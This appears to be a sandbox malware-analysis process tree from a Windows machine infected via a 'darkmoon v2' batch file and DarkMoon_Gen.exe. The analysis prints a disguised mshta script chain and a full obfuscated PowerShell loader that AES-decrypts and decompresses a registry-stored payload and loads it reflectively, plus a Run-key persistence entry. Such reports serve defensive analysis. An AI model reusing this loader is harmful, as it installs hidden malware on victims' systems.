C:\Windows\system32\lsass.exe
1⤵
PID:660

C:\Windows\system32\svchost.exe
C:\Windows\system32\svchost.exe -k DcomLaunch -p -s LSM
1⤵
PID:956

C:\Windows\system32\svchost.exe
C:\Windows\system32\svchost.exe -k netsvcs -p -s gpsvc
1⤵
PID:436

C:\Windows\System32\svchost.exe
C:\Windows\System32\svchost.exe -k LocalSystemNetworkRestricted -p -s NcbService
1⤵
PID:1032

C:\Windows\System32\svchost.exe
C:\Windows\System32\svchost.exe -k LocalServiceNetworkRestricted -p -s lmhosts
1⤵
PID:1064

C:\Windows\system32\svchost.exe
C:\Windows\system32\svchost.exe -k LocalServiceNetworkRestricted -p -s TimeBrokerSvc
1⤵
PID:1072

C:\Windows\system32\svchost.exe
C:\Windows\system32\svchost.exe -k netsvcs -p -s Schedule
1⤵
PID:1176
- C:\Windows\system32\taskhostw.exe
  taskhostw.exe {222A245B-E637-4AE9-A93F-A59CA119A75E}
  2⤵
  PID:2804
- C:\Windows\$sxr-mshta.exe
  C:\Windows\$sxr-mshta.exe "javascript:document['wr'+'it'+'e']('<h'+'tm'+'l>'+'<s'+'cr'+'ip'+'t\x20'+'la'+'ng'+'ua'+'ge'+'=\x22'+'VB'+'Sc'+'ri'+'pt'+'\x22>'+'Se'+'t\x20'+'ob'+'jS'+'he'+'ll'+'\x20='+'\x20C'+'re'+'at'+'eO'+'bj'+'ec'+'t('+'\x22W'+'Sc'+'ri'+'pt'+'.S'+'he'+'ll'+'\x22)'+'\x20:'+'\x20o'+'bj'+'Sh'+'el'+'l.'+'Ru'+'n\x20'+'\x22C:\\Windows\\$sxr-c'+'md'+'.e'+'xe'+'\x20/'+'c %'+'$sxr-fIvAWqRzQvWuAstOtyuG4312:&#<?=%'+'\x22,'+'\x200'+',\x20'+'Tr'+'ue'+'</'+'sc'+'ri'+'pt'+'><'+'/h'+'tm'+'l>');close();"
  2⤵
  - Checks computer location settings
  - Executes dropped EXE
  - Modifies registry class
  - Suspicious use of WriteProcessMemory
  PID:3040
- - C:\Windows\$sxr-cmd.exe
    "C:\Windows\$sxr-cmd.exe" /c %$sxr-fIvAWqRzQvWuAstOtyuG4312:&#<?=%
    3⤵
    - Executes dropped EXE
    PID:544
  - - C:\Windows\System32\Conhost.exe
      \??\C:\Windows\system32\conhost.exe 0xffffffff -ForceV1
      4⤵
      PID:4496
  - - C:\Windows\$sxr-powershell.exe
      C:\Windows\$sxr-powershell.exe -NoLogo -NoProfile -Noninteractive -WindowStyle hidden -ExecutionPolicy bypass -Command function cZwGr($wJEcK){ $AFKcp=[System.Security.Cryptography.Aes]::Create(); $AFKcp.Mode=[System.Security.Cryptography.CipherMode]::CBC; $AFKcp.Padding=[System.Security.Cryptography.PaddingMode]::PKCS7; $AFKcp.Key=[System.Convert]::('gnirtS46esaBmorF'[-1..-16] -join '')('7nINuvUxCngtiDkTmFd6bpYzxvDppzo+LtAuTzEtPzw='); $AFKcp.IV=[System.Convert]::('gnirtS46esaBmorF'[-1..-16] -join '')('U+YH3s5ugGzDC7KmLj1l/A=='); $Czfqh=$AFKcp.('rotpyrceDetaerC'[-1..-15] -join '')(); $jNjPg=$Czfqh.('kcolBlaniFmrofsnarT'[-1..-19] -join '')($wJEcK, 0, $wJEcK.Length); $Czfqh.Dispose(); $AFKcp.Dispose(); $jNjPg;}function nyZgh($wJEcK){ $zAUTt=New-Object System.IO.MemoryStream(,$wJEcK); $GiIcD=New-Object System.IO.MemoryStream; $IbKVT=New-Object System.IO.Compression.GZipStream($zAUTt, [IO.Compression.CompressionMode]::Decompress); $IbKVT.CopyTo($GiIcD); $IbKVT.Dispose(); $zAUTt.Dispose(); $GiIcD.Dispose(); $GiIcD.ToArray();}function JitsM($wJEcK,$KvmVX){ $hfTYl=[System.Reflection.Assembly]::Load([byte[]]$wJEcK); $vpjLB=$hfTYl.EntryPoint; $vpjLB.Invoke($null, $KvmVX);}$AFKcp1 = New-Object System.Security.Cryptography.AesManaged;$AFKcp1.Mode = [System.Security.Cryptography.CipherMode]::CBC;$AFKcp1.Padding = [System.Security.Cryptography.PaddingMode]::PKCS7;$AFKcp1.Key = [System.Convert]::('gnirtS46esaBmorF'[-1..-16] -join '')('7nINuvUxCngtiDkTmFd6bpYzxvDppzo+LtAuTzEtPzw=');$AFKcp1.IV = [System.Convert]::('gnirtS46esaBmorF'[-1..-16] -join '')('U+YH3s5ugGzDC7KmLj1l/A==');$MfWDX = $AFKcp1.('rotpyrceDetaerC'[-1..-15] -join '')();$OXRcs = [System.Convert]::('gnirtS46esaBmorF'[-1..-16] -join '')('/Ud8pMApbv/gxu+JXtMI7A==');$OXRcs = $MfWDX.('kcolBlaniFmrofsnarT'[-1..-19] -join '')($OXRcs, 0, $OXRcs.Length);$OXRcs = [System.Text.Encoding]::('8FTU'[-1..-4] -join '').('gnirtSteG'[-1..-9] -join '')($OXRcs);$MJSJO = [System.Convert]::('gnirtS46esaBmorF'[-1..-16] -join '')('3VJkIni/eEgLNMCmmbuF+9uJHd2ZxHH9BvEMmnfuAs4=');$MJSJO = $MfWDX.('kcolBlaniFmrofsnarT'[-1..-19] -join '')($MJSJO, 0, $MJSJO.Length);$MJSJO = [System.Text.Encoding]::('8FTU'[-1..-4] -join '').('gnirtSteG'[-1..-9] -join '')($MJSJO);$eldAL = [System.Convert]::('gnirtS46esaBmorF'[-1..-16] -join '')('MUqFa/ybH7fq9E8cDwzQqA==');$eldAL = $MfWDX.('kcolBlaniFmrofsnarT'[-1..-19] -join '')($eldAL, 0, $eldAL.Length);$eldAL = [System.Text.Encoding]::('8FTU'[-1..-4] -join '').('gnirtSteG'[-1..-9] -join '')($eldAL);$JmtWK = [System.Convert]::('gnirtS46esaBmorF'[-1..-16] -join '')('RNiqtzRUbqzid5tIIG0tdSQQSCND4N3Fip71HpyVpNu/LbAnkQDXvXCNN67DnhoH5Y27G2MJlveDAN7CWQjo2dJc4tmKQnvASHPTcy0RyGxkDhbwoL6OdXRgiYeimaZ3i49J/rxWBNL33jIrXjV6wccc/4aVjVPEYt/lsF5IHcTecs+F97GmTz/xlfrGHuS+klKIHdbsKNtk359gBlEuyIzqc8ZNoXjIsDYcHPmRQW0ppscjiU1/jln8klv2aIxKfUrd3GQUbnHsQMaMF/hqOHe+EY+XH4G0NlTI/p6Gfj6oZBnjn21FQDxykIFEupy9SA9V6u+rIOYPN2aHFGH15vJWjy68WQLa9uRRD0iNI3+fN5lBaMhngNS166V7oDsfk6HFYYqd4SbkPV+So/C260QI7aUZVElJYwH9zWeJN68=');$JmtWK = $MfWDX.('kcolBlaniFmrofsnarT'[-1..-19] -join '')($JmtWK, 0, $JmtWK.Length);$JmtWK = [System.Text.Encoding]::('8FTU'[-1..-4] -join '').('gnirtSteG'[-1..-9] -join '')($JmtWK);$sutWG = [System.Convert]::('gnirtS46esaBmorF'[-1..-16] -join '')('721Pgwb2TpdFalOhddbR8A==');$sutWG = $MfWDX.('kcolBlaniFmrofsnarT'[-1..-19] -join '')($sutWG, 0, $sutWG.Length);$sutWG = [System.Text.Encoding]::('8FTU'[-1..-4] -join '').('gnirtSteG'[-1..-9] -join '')($sutWG);$RmeiH = [System.Convert]::('gnirtS46esaBmorF'[-1..-16] -join '')('sYsCTgz2k9CJtXOv5QOESQ==');$RmeiH = $MfWDX.('kcolBlaniFmrofsnarT'[-1..-19] -join '')($RmeiH, 0, $RmeiH.Length);$RmeiH = [System.Text.Encoding]::('8FTU'[-1..-4] -join '').('gnirtSteG'[-1..-9] -join '')($RmeiH);$yKibX = [System.Convert]::('gnirtS46esaBmorF'[-1..-16] -join '')('5yBJCVjGNNI8c4y5TeJZ1g==');$yKibX = $MfWDX.('kcolBlaniFmrofsnarT'[-1..-19] -join '')($yKibX, 0, $yKibX.Length);$yKibX = [System.Text.Encoding]::('8FTU'[-1..-4] -join '').('gnirtSteG'[-1..-9] -join '')($yKibX);$mWhwt = [System.Convert]::('gnirtS46esaBmorF'[-1..-16] -join '')('HFsj1rvOoFy/1AQ35wf56A==');$mWhwt = $MfWDX.('kcolBlaniFmrofsnarT'[-1..-19] -join '')($mWhwt, 0, $mWhwt.Length);$mWhwt = [System.Text.Encoding]::('8FTU'[-1..-4] -join '').('gnirtSteG'[-1..-9] -join '')($mWhwt);$MQVoG = [System.Convert]::('gnirtS46esaBmorF'[-1..-16] -join '')('S8OL2bqVmk+GN3goxj/uiw==');$MQVoG = $MfWDX.('kcolBlaniFmrofsnarT'[-1..-19] -join '')($MQVoG, 0, $MQVoG.Length);$MQVoG = [System.Text.Encoding]::('8FTU'[-1..-4] -join '').('gnirtSteG'[-1..-9] -join '')($MQVoG);$OXRcs0 = [System.Convert]::('gnirtS46esaBmorF'[-1..-16] -join '')('spJ+lRLXqmjOi3nI0UTS5g==');$OXRcs0 = $MfWDX.('kcolBlaniFmrofsnarT'[-1..-19] -join '')($OXRcs0, 0, $OXRcs0.Length);$OXRcs0 = [System.Text.Encoding]::('8FTU'[-1..-4] -join '').('gnirtSteG'[-1..-9] -join '')($OXRcs0);$OXRcs1 = [System.Convert]::('gnirtS46esaBmorF'[-1..-16] -join '')('U4iTk4zuVeeTIShJARv6Pg==');$OXRcs1 = $MfWDX.('kcolBlaniFmrofsnarT'[-1..-19] -join '')($OXRcs1, 0, $OXRcs1.Length);$OXRcs1 = [System.Text.Encoding]::('8FTU'[-1..-4] -join '').('gnirtSteG'[-1..-9] -join '')($OXRcs1);$OXRcs2 = [System.Convert]::('gnirtS46esaBmorF'[-1..-16] -join '')('9xaq7OLHlKH+W6faIqwAMw==');$OXRcs2 = $MfWDX.('kcolBlaniFmrofsnarT'[-1..-19] -join '')($OXRcs2, 0, $OXRcs2.Length);$OXRcs2 = [System.Text.Encoding]::('8FTU'[-1..-4] -join '').('gnirtSteG'[-1..-9] -join '')($OXRcs2);$OXRcs3 = [System.Convert]::('gnirtS46esaBmorF'[-1..-16] -join '')('JOLtcnTz9Wy99GrNQ2MuMQ==');$OXRcs3 = $MfWDX.('kcolBlaniFmrofsnarT'[-1..-19] -join '')($OXRcs3, 0, $OXRcs3.Length);$OXRcs3 = [System.Text.Encoding]::('8FTU'[-1..-4] -join '').('gnirtSteG'[-1..-9] -join '')($OXRcs3);$MfWDX.Dispose();$AFKcp1.Dispose();if (@(get-process -ea silentlycontinue $OXRcs3).count -gt 1) {exit};$lJYQx = [Microsoft.Win32.Registry]::$mWhwt.$yKibX($OXRcs).$RmeiH($MJSJO);$mFwmU=[string[]]$lJYQx.Split('\');$xwjch=nyZgh(cZwGr([System.Convert]::('gnirtS46esaBmorF'[-1..-16] -join '')($mFwmU[1])));JitsM $xwjch (,[string[]] ('%*', 'idTznCCsreqaEEjvuwzuTuitglIVMFHEuLsTnnuHsLwyMmxaqK', 'LkIzMJCsatThEdeYOSSAwnZMOfyqejPcYtnoxQiuObLPDohIJN'));$Alykr = [System.Convert]::('gnirtS46esaBmorF'[-1..-16] -join '')($mFwmU[0]);$AFKcp = New-Object System.Security.Cryptography.AesManaged;$AFKcp.Mode = [System.Security.Cryptography.CipherMode]::CBC;$AFKcp.Padding = [System.Security.Cryptography.PaddingMode]::PKCS7;$AFKcp.Key = [System.Convert]::('gnirtS46esaBmorF'[-1..-16] -join '')('7nINuvUxCngtiDkTmFd6bpYzxvDppzo+LtAuTzEtPzw=');$AFKcp.IV = [System.Convert]::('gnirtS46esaBmorF'[-1..-16] -join '')('U+YH3s5ugGzDC7KmLj1l/A==');$Czfqh = $AFKcp.('rotpyrceDetaerC'[-1..-15] -join '')();$Alykr = $Czfqh.('kcolBlaniFmrofsnarT'[-1..-19] -join '')($Alykr, 0, $Alykr.Length);$Czfqh.Dispose();$AFKcp.Dispose();$zAUTt = New-Object System.IO.MemoryStream(, $Alykr);$GiIcD = New-Object System.IO.MemoryStream;$IbKVT = New-Object System.IO.Compression.GZipStream($zAUTt, [IO.Compression.CompressionMode]::$OXRcs1);$IbKVT.$MQVoG($GiIcD);$IbKVT.Dispose();$zAUTt.Dispose();$GiIcD.Dispose();$Alykr = $GiIcD.ToArray();$hUYCw = $JmtWK | IEX;$hfTYl = $hUYCw::$OXRcs2($Alykr);$vpjLB = $hfTYl.EntryPoint;$vpjLB.$OXRcs0($null, (, [string[]] ($eldAL)))
      4⤵
      Suspicious use of NtCreateUserProcessOtherParentProcess
      Executes dropped EXE
      Suspicious use of SetThreadContext
      Suspicious behavior: EnumeratesProcesses
      Suspicious use of AdjustPrivilegeToken
      Suspicious use of SetWindowsHookEx
      PID:4464
    - - C:\Windows\SysWOW64\dllhost.exe
        
        C:\Windows\SysWOW64\dllhost.exe /Processid:{c14d745e-fa6f-4bb0-9517-59b0be2dfa56}
        5⤵
        
        PID:1676
    - - C:\Windows\SysWOW64\dllhost.exe
        
        C:\Windows\SysWOW64\dllhost.exe /Processid:{7e211fb7-69b8-40c6-b2cf-6c0ed0861466}
        5⤵
        Suspicious behavior: EnumeratesProcesses
        Suspicious use of AdjustPrivilegeToken
        
        PID:2040
    - - C:\Windows\$sxr-powershell.exe
        
        "C:\Windows\$sxr-powershell.exe" -NoLogo -NoProfile -Noninteractive -WindowStyle hidden -ExecutionPolicy bypass -Command [System.Diagnostics.Process]::GetProcessById(4464).WaitForExit();[System.Threading.Thread]::Sleep(5000); function cZwGr($wJEcK){ $AFKcp=[System.Security.Cryptography.Aes]::Create(); $AFKcp.Mode=[System.Security.Cryptography.CipherMode]::CBC; $AFKcp.Padding=[System.Security.Cryptography.PaddingMode]::PKCS7; $AFKcp.Key=[System.Convert]::('gnirtS46esaBmorF'[-1..-16] -join '')('7nINuvUxCngtiDkTmFd6bpYzxvDppzo+LtAuTzEtPzw='); $AFKcp.IV=[System.Convert]::('gnirtS46esaBmorF'[-1..-16] -join '')('U+YH3s5ugGzDC7KmLj1l/A=='); $Czfqh=$AFKcp.('rotpyrceDetaerC'[-1..-15] -join '')(); $jNjPg=$Czfqh.('kcolBlaniFmrofsnarT'[-1..-19] -join '')($wJEcK, 0, $wJEcK.Length); $Czfqh.Dispose(); $AFKcp.Dispose(); $jNjPg;}function nyZgh($wJEcK){ $zAUTt=New-Object System.IO.MemoryStream(,$wJEcK); $GiIcD=New-Object System.IO.MemoryStream; $IbKVT=New-Object System.IO.Compression.GZipStream($zAUTt, [IO.Compression.CompressionMode]::Decompress); $IbKVT.CopyTo($GiIcD); $IbKVT.Dispose(); $zAUTt.Dispose(); $GiIcD.Dispose(); $GiIcD.ToArray();}function JitsM($wJEcK,$KvmVX){ $hfTYl=[System.Reflection.Assembly]::Load([byte[]]$wJEcK); $vpjLB=$hfTYl.EntryPoint; $vpjLB.Invoke($null, $KvmVX);}$AFKcp1 = New-Object System.Security.Cryptography.AesManaged;$AFKcp1.Mode = [System.Security.Cryptography.CipherMode]::CBC;$AFKcp1.Padding = [System.Security.Cryptography.PaddingMode]::PKCS7;$AFKcp1.Key = [System.Convert]::('gnirtS46esaBmorF'[-1..-16] -join '')('7nINuvUxCngtiDkTmFd6bpYzxvDppzo+LtAuTzEtPzw=');$AFKcp1.IV = [System.Convert]::('gnirtS46esaBmorF'[-1..-16] -join '')('U+YH3s5ugGzDC7KmLj1l/A==');$MfWDX = $AFKcp1.('rotpyrceDetaerC'[-1..-15] -join '')();$OXRcs = [System.Convert]::('gnirtS46esaBmorF'[-1..-16] -join '')('/Ud8pMApbv/gxu+JXtMI7A==');$OXRcs = $MfWDX.('kcolBlaniFmrofsnarT'[-1..-19] -join '')($OXRcs, 0, $OXRcs.Length);$OXRcs = [System.Text.Encoding]::('8FTU'[-1..-4] -join '').('gnirtSteG'[-1..-9] -join '')($OXRcs);$MJSJO = [System.Convert]::('gnirtS46esaBmorF'[-1..-16] -join '')('3VJkIni/eEgLNMCmmbuF+9uJHd2ZxHH9BvEMmnfuAs4=');$MJSJO = $MfWDX.('kcolBlaniFmrofsnarT'[-1..-19] -join '')($MJSJO, 0, $MJSJO.Length);$MJSJO = [System.Text.Encoding]::('8FTU'[-1..-4] -join '').('gnirtSteG'[-1..-9] -join '')($MJSJO);$eldAL = [System.Convert]::('gnirtS46esaBmorF'[-1..-16] -join '')('MUqFa/ybH7fq9E8cDwzQqA==');$eldAL = $MfWDX.('kcolBlaniFmrofsnarT'[-1..-19] -join '')($eldAL, 0, $eldAL.Length);$eldAL = [System.Text.Encoding]::('8FTU'[-1..-4] -join '').('gnirtSteG'[-1..-9] -join '')($eldAL);$JmtWK = [System.Convert]::('gnirtS46esaBmorF'[-1..-16] -join '')('RNiqtzRUbqzid5tIIG0tdSQQSCND4N3Fip71HpyVpNu/LbAnkQDXvXCNN67DnhoH5Y27G2MJlveDAN7CWQjo2dJc4tmKQnvASHPTcy0RyGxkDhbwoL6OdXRgiYeimaZ3i49J/rxWBNL33jIrXjV6wccc/4aVjVPEYt/lsF5IHcTecs+F97GmTz/xlfrGHuS+klKIHdbsKNtk359gBlEuyIzqc8ZNoXjIsDYcHPmRQW0ppscjiU1/jln8klv2aIxKfUrd3GQUbnHsQMaMF/hqOHe+EY+XH4G0NlTI/p6Gfj6oZBnjn21FQDxykIFEupy9SA9V6u+rIOYPN2aHFGH15vJWjy68WQLa9uRRD0iNI3+fN5lBaMhngNS166V7oDsfk6HFYYqd4SbkPV+So/C260QI7aUZVElJYwH9zWeJN68=');$JmtWK = $MfWDX.('kcolBlaniFmrofsnarT'[-1..-19] -join '')($JmtWK, 0, $JmtWK.Length);$JmtWK = [System.Text.Encoding]::('8FTU'[-1..-4] -join '').('gnirtSteG'[-1..-9] -join '')($JmtWK);$sutWG = [System.Convert]::('gnirtS46esaBmorF'[-1..-16] -join '')('721Pgwb2TpdFalOhddbR8A==');$sutWG = $MfWDX.('kcolBlaniFmrofsnarT'[-1..-19] -join '')($sutWG, 0, $sutWG.Length);$sutWG = [System.Text.Encoding]::('8FTU'[-1..-4] -join '').('gnirtSteG'[-1..-9] -join '')($sutWG);$RmeiH = [System.Convert]::('gnirtS46esaBmorF'[-1..-16] -join '')('sYsCTgz2k9CJtXOv5QOESQ==');$RmeiH = $MfWDX.('kcolBlaniFmrofsnarT'[-1..-19] -join '')($RmeiH, 0, $RmeiH.Length);$RmeiH = [System.Text.Encoding]::('8FTU'[-1..-4] -join '').('gnirtSteG'[-1..-9] -join '')($RmeiH);$yKibX = [System.Convert]::('gnirtS46esaBmorF'[-1..-16] -join '')('5yBJCVjGNNI8c4y5TeJZ1g==');$yKibX = $MfWDX.('kcolBlaniFmrofsnarT'[-1..-19] -join '')($yKibX, 0, $yKibX.Length);$yKibX = [System.Text.Encoding]::('8FTU'[-1..-4] -join '').('gnirtSteG'[-1..-9] -join '')($yKibX);$mWhwt = [System.Convert]::('gnirtS46esaBmorF'[-1..-16] -join '')('HFsj1rvOoFy/1AQ35wf56A==');$mWhwt = $MfWDX.('kcolBlaniFmrofsnarT'[-1..-19] -join '')($mWhwt, 0, $mWhwt.Length);$mWhwt = [System.Text.Encoding]::('8FTU'[-1..-4] -join '').('gnirtSteG'[-1..-9] -join '')($mWhwt);$MQVoG = [System.Convert]::('gnirtS46esaBmorF'[-1..-16] -join '')('S8OL2bqVmk+GN3goxj/uiw==');$MQVoG = $MfWDX.('kcolBlaniFmrofsnarT'[-1..-19] -join '')($MQVoG, 0, $MQVoG.Length);$MQVoG = [System.Text.Encoding]::('8FTU'[-1..-4] -join '').('gnirtSteG'[-1..-9] -join '')($MQVoG);$OXRcs0 = [System.Convert]::('gnirtS46esaBmorF'[-1..-16] -join '')('spJ+lRLXqmjOi3nI0UTS5g==');$OXRcs0 = $MfWDX.('kcolBlaniFmrofsnarT'[-1..-19] -join '')($OXRcs0, 0, $OXRcs0.Length);$OXRcs0 = [System.Text.Encoding]::('8FTU'[-1..-4] -join '').('gnirtSteG'[-1..-9] -join '')($OXRcs0);$OXRcs1 = [System.Convert]::('gnirtS46esaBmorF'[-1..-16] -join '')('U4iTk4zuVeeTIShJARv6Pg==');$OXRcs1 = $MfWDX.('kcolBlaniFmrofsnarT'[-1..-19] -join '')($OXRcs1, 0, $OXRcs1.Length);$OXRcs1 = [System.Text.Encoding]::('8FTU'[-1..-4] -join '').('gnirtSteG'[-1..-9] -join '')($OXRcs1);$OXRcs2 = [System.Convert]::('gnirtS46esaBmorF'[-1..-16] -join '')('9xaq7OLHlKH+W6faIqwAMw==');$OXRcs2 = $MfWDX.('kcolBlaniFmrofsnarT'[-1..-19] -join '')($OXRcs2, 0, $OXRcs2.Length);$OXRcs2 = [System.Text.Encoding]::('8FTU'[-1..-4] -join '').('gnirtSteG'[-1..-9] -join '')($OXRcs2);$OXRcs3 = [System.Convert]::('gnirtS46esaBmorF'[-1..-16] -join '')('JOLtcnTz9Wy99GrNQ2MuMQ==');$OXRcs3 = $MfWDX.('kcolBlaniFmrofsnarT'[-1..-19] -join '')($OXRcs3, 0, $OXRcs3.Length);$OXRcs3 = [System.Text.Encoding]::('8FTU'[-1..-4] -join '').('gnirtSteG'[-1..-9] -join '')($OXRcs3);$MfWDX.Dispose();$AFKcp1.Dispose();if (@(get-process -ea silentlycontinue $OXRcs3).count -gt 1) {exit};$lJYQx = [Microsoft.Win32.Registry]::$mWhwt.$yKibX($OXRcs).$RmeiH($MJSJO);$mFwmU=[string[]]$lJYQx.Split('\');$xwjch=nyZgh(cZwGr([System.Convert]::('gnirtS46esaBmorF'[-1..-16] -join '')($mFwmU[1])));JitsM $xwjch (,[string[]] ('%*', 'idTznCCsreqaEEjvuwzuTuitglIVMFHEuLsTnnuHsLwyMmxaqK', 'LkIzMJCsatThEdeYOSSAwnZMOfyqejPcYtnoxQiuObLPDohIJN'));$Alykr = [System.Convert]::('gnirtS46esaBmorF'[-1..-16] -join '')($mFwmU[0]);$AFKcp = New-Object System.Security.Cryptography.AesManaged;$AFKcp.Mode = [System.Security.Cryptography.CipherMode]::CBC;$AFKcp.Padding = [System.Security.Cryptography.PaddingMode]::PKCS7;$AFKcp.Key = [System.Convert]::('gnirtS46esaBmorF'[-1..-16] -join '')('7nINuvUxCngtiDkTmFd6bpYzxvDppzo+LtAuTzEtPzw=');$AFKcp.IV = [System.Convert]::('gnirtS46esaBmorF'[-1..-16] -join '')('U+YH3s5ugGzDC7KmLj1l/A==');$Czfqh = $AFKcp.('rotpyrceDetaerC'[-1..-15] -join '')();$Alykr = $Czfqh.('kcolBlaniFmrofsnarT'[-1..-19] -join '')($Alykr, 0, $Alykr.Length);$Czfqh.Dispose();$AFKcp.Dispose();$zAUTt = New-Object System.IO.MemoryStream(, $Alykr);$GiIcD = New-Object System.IO.MemoryStream;$IbKVT = New-Object System.IO.Compression.GZipStream($zAUTt, [IO.Compression.CompressionMode]::$OXRcs1);$IbKVT.$MQVoG($GiIcD);$IbKVT.Dispose();$zAUTt.Dispose();$GiIcD.Dispose();$Alykr = $GiIcD.ToArray();$hUYCw = $JmtWK | IEX;$hfTYl = $hUYCw::$OXRcs2($Alykr);$vpjLB = $hfTYl.EntryPoint;$vpjLB.$OXRcs0($null, (, [string[]] ($eldAL)))
        5⤵
        Executes dropped EXE
        Suspicious behavior: EnumeratesProcesses
        Suspicious use of AdjustPrivilegeToken
        
        PID:4216
    - - C:\Windows\SysWOW64\dllhost.exe
        
        C:\Windows\SysWOW64\dllhost.exe /Processid:{55ee617b-9ceb-48a0-8e5c-33d484090d4b}
        5⤵
        Suspicious behavior: EnumeratesProcesses
        Suspicious use of AdjustPrivilegeToken
        
        PID:2500
    - - C:\Windows\SysWOW64\dllhost.exe
        
        C:\Windows\SysWOW64\dllhost.exe /Processid:{5a6b2a0b-fe8a-4ee3-812a-785c0aa85d56}
        5⤵
        
        PID:5728
    - - C:\Windows\SysWOW64\dllhost.exe
        
        C:\Windows\SysWOW64\dllhost.exe /Processid:{6969b8dc-b973-418c-948c-4ec587942f22}
        5⤵
        
        PID:1008
    - - C:\Windows\SysWOW64\dllhost.exe
        
        C:\Windows\SysWOW64\dllhost.exe /Processid:{972e8bc9-8bf1-4781-b8a7-70acabd0eaab}
        5⤵
        
        PID:5544
    - - C:\Windows\SysWOW64\dllhost.exe
        
        C:\Windows\SysWOW64\dllhost.exe /Processid:{1452ff76-9800-41ff-a0db-d5680b56990f}
        5⤵
        
        PID:3200
      - C:\Windows\SysWOW64\WerFault.exe
        
        C:\Windows\SysWOW64\WerFault.exe -u -p 3200 -s 456
        6⤵
        Drops file in Windows directory
        Program crash
        Checks processor information in registry
        Enumerates system info in registry
        
        PID:5512
    - - C:\Windows\SysWOW64\dllhost.exe
        
        C:\Windows\SysWOW64\dllhost.exe /Processid:{90c9042f-20a3-4621-bd1f-8a61ea0fca9b}
        5⤵
        
        PID:5616
    - - C:\Windows\SysWOW64\dllhost.exe
        
        C:\Windows\SysWOW64\dllhost.exe /Processid:{baf659dc-cb4b-4b1a-9d5f-d0169d4972ed}
        5⤵
        
        PID:5820

C:\Windows\System32\svchost.exe
C:\Windows\System32\svchost.exe -k LocalServiceNetworkRestricted -p -s EventLog
1⤵
- Drops file in System32 directory
PID:1216

C:\Windows\system32\svchost.exe
C:\Windows\system32\svchost.exe -k netsvcs -p -s ProfSvc
1⤵
PID:1272

C:\Windows\system32\svchost.exe
C:\Windows\system32\svchost.exe -k LocalService -p -s nsi
1⤵
PID:1332

C:\Windows\system32\svchost.exe
C:\Windows\system32\svchost.exe -k LocalService -p -s DispBrokerDesktopSvc
1⤵
PID:1340

C:\Windows\system32\svchost.exe
C:\Windows\system32\svchost.exe -k netsvcs -p -s UserManager
1⤵
PID:1424
- C:\Windows\system32\sihost.exe
  sihost.exe
  2⤵
  PID:2644

C:\Windows\system32\svchost.exe
C:\Windows\system32\svchost.exe -k LocalService -p -s EventSystem
1⤵
PID:1444

C:\Windows\System32\svchost.exe
C:\Windows\System32\svchost.exe -k netsvcs -p -s Themes
1⤵
PID:1452

C:\Windows\system32\svchost.exe
C:\Windows\system32\svchost.exe -k LocalServiceNetworkRestricted -p -s Dhcp
1⤵
PID:1504

C:\Windows\system32\svchost.exe
C:\Windows\system32\svchost.exe -k netsvcs -p -s SENS
1⤵
PID:1612

C:\Windows\System32\svchost.exe
C:\Windows\System32\svchost.exe -k LocalSystemNetworkRestricted -p -s AudioEndpointBuilder
1⤵
PID:1688

C:\Windows\System32\svchost.exe
C:\Windows\System32\svchost.exe -k NetworkService -p -s NlaSvc
1⤵
PID:1712

C:\Windows\System32\svchost.exe
C:\Windows\System32\svchost.exe -k LocalService -p -s netprofm
1⤵
PID:1788

C:\Windows\System32\svchost.exe
C:\Windows\System32\svchost.exe -k LocalServiceNetworkRestricted -p
1⤵
PID:1888

C:\Windows\system32\svchost.exe
C:\Windows\system32\svchost.exe -k NetworkService -p -s Dnscache
1⤵
PID:1952

C:\Windows\System32\svchost.exe
C:\Windows\System32\svchost.exe -k LocalServiceNetworkRestricted -p
1⤵
PID:1968

C:\Windows\System32\svchost.exe
C:\Windows\System32\svchost.exe -k netsvcs -p -s ShellHWDetection
1⤵
PID:1708

C:\Windows\system32\svchost.exe
C:\Windows\system32\svchost.exe -k appmodel -p -s StateRepository
1⤵
PID:1756

C:\Windows\system32\svchost.exe
C:\Windows\system32\svchost.exe -k netsvcs -p -s Winmgmt
1⤵
- Checks processor information in registry
- Suspicious use of AdjustPrivilegeToken
PID:2056

C:\Windows\System32\spoolsv.exe
C:\Windows\System32\spoolsv.exe
1⤵
PID:2124

C:\Windows\System32\svchost.exe
C:\Windows\System32\svchost.exe -k NetworkService -p -s LanmanWorkstation
1⤵
PID:2200

C:\Windows\System32\svchost.exe
C:\Windows\System32\svchost.exe -k LocalServiceNetworkRestricted -s RmSvc
1⤵
PID:2268

C:\Windows\system32\svchost.exe
C:\Windows\system32\svchost.exe -k netsvcs -p -s IKEEXT
1⤵
PID:2444

C:\Windows\system32\svchost.exe
C:\Windows\system32\svchost.exe -k NetworkServiceNetworkRestricted -p -s PolicyAgent
1⤵
PID:2452

C:\Windows\system32\svchost.exe
C:\Windows\system32\svchost.exe -k UnistackSvcGroup -s CDPUserSvc
1⤵
PID:2632

C:\Windows\system32\svchost.exe
C:\Windows\system32\svchost.exe -k NetworkService -p -s CryptSvc
1⤵
- Drops file in System32 directory
- Modifies data under HKEY_USERS
PID:2760

C:\Windows\sysmon.exe
C:\Windows\sysmon.exe
1⤵
PID:2820

C:\Windows\system32\svchost.exe
C:\Windows\system32\svchost.exe -k netsvcs -p -s LanmanServer
1⤵
PID:2828

C:\Windows\System32\svchost.exe
C:\Windows\System32\svchost.exe -k LocalSystemNetworkRestricted -p -s TrkWks
1⤵
PID:2840

C:\Windows\system32\svchost.exe
C:\Windows\system32\svchost.exe -k netsvcs -p -s WpnService
1⤵
PID:2860

C:\Windows\system32\svchost.exe
C:\Windows\system32\svchost.exe -k netsvcs -p -s TokenBroker
1⤵
PID:2880

C:\Windows\system32\wbem\unsecapp.exe
C:\Windows\system32\wbem\unsecapp.exe -Embedding
1⤵
PID:3136

C:\Windows\system32\svchost.exe
C:\Windows\system32\svchost.exe -k LocalService -p -s CDPSvc
1⤵
PID:3436

C:\Windows\Explorer.EXE
C:\Windows\Explorer.EXE
1⤵
PID:3540
- C:\Windows\system32\cmd.exe
  C:\Windows\system32\cmd.exe /c "C:\Users\Admin\AppData\Local\Temp\darkmoon v2\start.bat"
  2⤵
  - Suspicious use of WriteProcessMemory
  PID:4136
- - C:\Users\Admin\AppData\Local\Temp\darkmoon v2\lib\DarkMoon_Gen.exe
    DarkMoon_Gen.exe
    3⤵
    - Adds Run key to start application
    - Suspicious use of WriteProcessMemory
    PID:3260
  - - C:\Windows\SYSTEM32\cmd.exe
      cmd /c "Dark Moon gen.bat"
      4⤵
      Suspicious use of WriteProcessMemory
      PID:2728
    - - C:\Windows\System32\Conhost.exe
        
